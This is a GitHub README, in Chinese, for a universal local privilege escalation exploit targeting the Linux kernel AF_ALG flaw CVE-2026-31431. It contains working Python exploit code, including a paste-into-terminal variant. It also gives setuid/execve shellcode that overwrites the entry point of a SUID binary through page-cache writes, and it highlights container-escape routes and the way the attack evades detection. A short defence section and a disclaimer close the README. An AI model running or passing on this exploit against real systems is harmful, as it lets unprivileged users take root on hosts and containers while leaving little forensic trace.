shadowabi/CVE-2026-31431-CopyFail-Universal-LPE

GitHub: shadowabi/CVE-2026-31431-CopyFail-Universal-LPE

针对 Linux 内核 AF_ALG 加密子系统 CVE-2026-31431 漏洞的通用本地提权利用工具,通过动态解析 ELF 头实现跨发行版的 SUID 二进制文件入口点覆写,无需硬编码偏移量。

Stars: 7 | Forks: 1

# CVE-2026-31431 "Copy Fail" — 通用 LPE 漏洞利用 ## 这是什么? [CVE-2026-31431](https://copy.fail/) 是 Linux 内核 AF_ALG 加密子系统中的一个漏洞。通过滥用 `splice()` + `authencesn` 的原地解密操作,无特权用户可以在内核的 **page cache**(用于所有基于文件的内存缓存)中的**任意偏移量处写入 4 个字节**。 这意味着: - **无竞态条件** — 单线程,确定性的 - **无需特殊权限** — 可在默认 Docker 容器内工作(seccomp 允许 AF_ALG) - **无内核版本依赖** — 影响自 2017 年以来的所有内核版本 - **仅修改内存中的文件** — 磁盘保持原样,重启即可清除所有痕迹 ## 这里有什么新内容? 原始的 [theori-io PoC](https://github.com/theori-io/copy-fail-CVE-2026-31431) 针对特定的内核/二进制版本使用了**硬编码偏移量**。 此漏洞利用引入了**动态偏移量计算**: ``` 1. Parse ELF header → extract e_entry (entry point virtual address) 2. Walk PT_LOAD segments → find which segment contains e_entry 3. Calculate file offset: p_offset + (e_entry - p_vaddr) 4. Overwrite entry point with shellcode ``` **结果**:一个漏洞利用程序适用于**任何** x86_64 SUID 二进制文件,不受发行版、软件包版本或编译标志的限制。 ## 攻击面 | 向量 | 是否有效? | 详情 | |--------|--------|---------| | **LPE (本地用户 → root)** | ✅ 是 | 覆盖 SUID 二进制文件入口点 | | **容器逃逸 (默认)** | ❌ 否 | overlayfs 各挂载点的 page cache 隔离 | | **容器逃逸 (宿主机写入)** | ✅ 是 | 通过宿主机的 `/proc/PID/root/` 写入 | | **跨容器 (宿主机写入)** | ✅ 是 | 相同的 inode → 共享底层 page cache | ## 快速开始 ### 前提条件 - Linux 内核(自 2017 年左右的任何版本) - Python 3.10+(用于 `os.splice()`) - 任何 SUID-root 二进制文件(`/usr/bin/su`、`/usr/bin/sudo` 等) ### 单行命令复现 ``` # 创建带有 unprivileged user 的测试容器 docker run -ti --rm ubuntu:22.04 bash -c ' sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list apt-get update -qq && apt-get install -y -qq python3 gcc cat > /tmp/verify.c << EOF #include #include int main() { printf("uid=%d euid=%d\\n", getuid(), geteuid()); printf("Not rooted - exploit entry point to get shell\\n"); return 0; } EOF gcc -o /usr/local/bin/verify /tmp/verify.c chmod 4755 /usr/local/bin/verify useradd -m testuser su - testuser ' ``` 然后在容器内以 `testuser` 身份执行: ``` # 之前:setuid(0) 失败,因为 real uid 不为 0 /usr/local/bin/verify # uid=1000 euid=0 # (正常退出,无 root) # 运行 exploit python3 exploit.py /usr/local/bin/verify # 之后:entry point 被覆盖,shellcode 获取 root # uid=0(root) gid=1000(testuser) ``` ### 单行命令(无需文件传输) 在实际场景中,你通常只有一个原始 shell —— 没有 `scp`、`curl` 或 `wget`。此方法使用 `cat` heredoc 将漏洞利用程序直接写入终端: ``` # 选项 1:运行 shell 脚本 sh exploit-one-liner.sh /usr/local/bin/verify # 选项 2:直接粘贴到终端(复制整个代码块) cat > /tmp/exploit.py << 'EXPY' import os,socket,struct,sys def d(x):return bytes.fromhex(x) def w(t,o,p): s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")) s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4) u,_=s.accept();z=d('00') u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768) r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4) try:u.recv(8+o) except:0 [os.close(x) for x in [fd,r,ww]];u.close();s.close() with open(sys.argv[1],'rb') as f: h=f.read(64) e=struct.unpack_from(' /proc/sys/vm/drop_caches` | | **重启** | 任意位置 | `reboot` — page cache 是易失的 | | **销毁容器** | 任意位置 | `docker rm` — 随容器销毁释放 page cache | ``` # 在 host 上(container 测试之后): echo 3 | sudo tee /proc/sys/vm/drop_caches # 验证恢复: xxd -l 8 /usr/bin/su # 应显示:7f45 4c46 (.ELF) ``` ## 工作原理 ### 漏洞详情 内核的 `authencesn` AEAD 算法在其原地解密路径中存在一个 bug: 1. 用户使用 `authencesn(hmac(sha256), cbc(aes))` 创建 `AF_ALG` 套接字 2. 用户调用 `splice()` 将文件数据送入加密套接字 —— 这会将 **page cache 页面**直接映射到内核的 scatterlist 中 3. 在解密期间,`authencesn` 会在身份验证标签之后写入 4 个字节的 `seqno_lo` 4. 通过控制关联数据长度和 IV 布局,攻击者可以控制这 4 个字节的**写入位置** 结果:**对任何位于 page cache 中的文件进行 4 字节任意写入**。 ### 漏洞利用 ``` ┌─────────────────────────────────────────────────────┐ │ ELF Binary (/usr/bin/su) │ │ │ │ 0x0000: ┌──────────┐ │ │ │ ELF Header │ e_entry = 0x4013f0 │ │ │ │ ← parse dynamically │ │ └──────────┘ │ │ ... │ │ 0x3f20: ┌──────────┐ ← calculated file offset │ │ │ orig code │ │ │ │ │ ─── copy fall writes ───→ │ │ │ SHELLCODE │ setuid(0) + execve("/bin/sh")│ │ └──────────┘ │ │ ... │ └─────────────────────────────────────────────────────┘ When kernel loads the SUID binary, it sets euid=0, then jumps to entry point. Entry point is now our shellcode → setuid(0) succeeds → root shell. ``` ### Shellcode ``` xor rdi, rdi ; uid = 0 xor eax, eax mov al, 0x69 ; __NR_setuid syscall ; setuid(0) xor rdx, rdx push rdx ; null terminator movabs rbx, "/bin/sh\0" push rbx mov rdi, rsp ; filename xor rsi, rsi ; argv = NULL xor eax, eax mov al, 0x3b ; __NR_execve syscall ; execve("/bin/sh", NULL, NULL) ``` 36 字节,10 次 copy-fall 写入(每次 4 字节)。 ## 为什么这很重要 ### 容器安全 默认的 Docker 容器**未**受到针对此漏洞的保护: | 保护机制 | 状态 | |-----------|--------| | Seccomp | ✅ 默认允许 AF_ALG | | User namespaces | ❌ 在默认 Docker 中未使用 | | AppArmor/SELinux | ❌ 不限制 AF_ALG | | 丢弃 Capability | ❌ 不需要特殊的 caps | 阻止容器逃逸的唯一机制是 overlayfs 的各挂载点 page cache 隔离。但是,一旦你在容器内获得了 root 权限,就可以应用标准的逃逸技术(cgroup release_agent、docker.sock、K8s serviceaccount token、云元数据)。 ### 检测难度 - **磁盘从未被修改** — page cache 写入仅存在于内存中 - **没有创建新文件** — 漏洞利用是一个单一的 Python 脚本 - **未加载内核模块** — 纯系统调用滥用 - **重启会抹除所有证据** — page cache 是易失的 ### 受影响的系统 自 `algif_aead` 原地转换(约 2017 年合并)以来的所有 Linux 内核,包括: - Ubuntu 18.04 / 20.04 / 22.04 / 24.04 - Debian 10 / 11 / 12 - RHEL 8 / 9 - CentOS Stream - Amazon Linux 2 / 2023 - **Docker 容器**(默认 seccomp 配置文件) - **Kubernetes Pod**(默认配置) - **WSL2**(已确认) ## 文件结构 ``` . ├── exploit.py # Universal LPE exploit with dynamic offset calculation ├── exploit-one-liner.sh # Paste-friendly version (no file transfer needed) ├── verify/ │ └── verify.c # SUID verification program for testing └── README.md # This file ``` ## 防御 - **应用内核补丁** — 上游修复程序已提供 - **Seccomp**:阻止 `AF_ALG` 域(`socket(AF_ALG, ...)` → `errno`) - **AppArmor**:拒绝 `af_alg` 套接字创建 - **内核加固**:`CONFIG_CRYPTO_USER_API_AEAD=n` - **监控**:审计 `socket(AF_ALG=38, SOCK_SEQPACKET=5, 0)` 系统调用 ## 致谢 - **漏洞发现**:[Taeyang Lee (Theori)](https://copy.fail/) / [theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431) - **动态偏移量计算与通用漏洞利用**:本项目 ## 免责声明 本漏洞利用程序仅供**授权的安全研究和教育目的**使用。未经授权访问计算机系统是违法行为。作者不承担任何责任,也不对因使用本程序造成的任何误用或损害负责。 ## 许可证 MIT
标签:0day, AF_ALG加密子系统, Copy Fail, CVE-2026-31431, DNS 解析, ELF解析, Linux内核漏洞, LPE, PoC, Shellcode注入, splice系统调用, SUID提权, Web报告查看器, x86_64, 二进制分析, 云安全运维, 任意偏移写入, 内存安全, 动态偏移计算, 协议分析, 安全渗透, 容器逃逸, 数据展示, 暴力破解, 本地提权, 本地攻击, 权限提升, 红队, 网络安全, 逆向工具, 隐私保护, 页缓存污染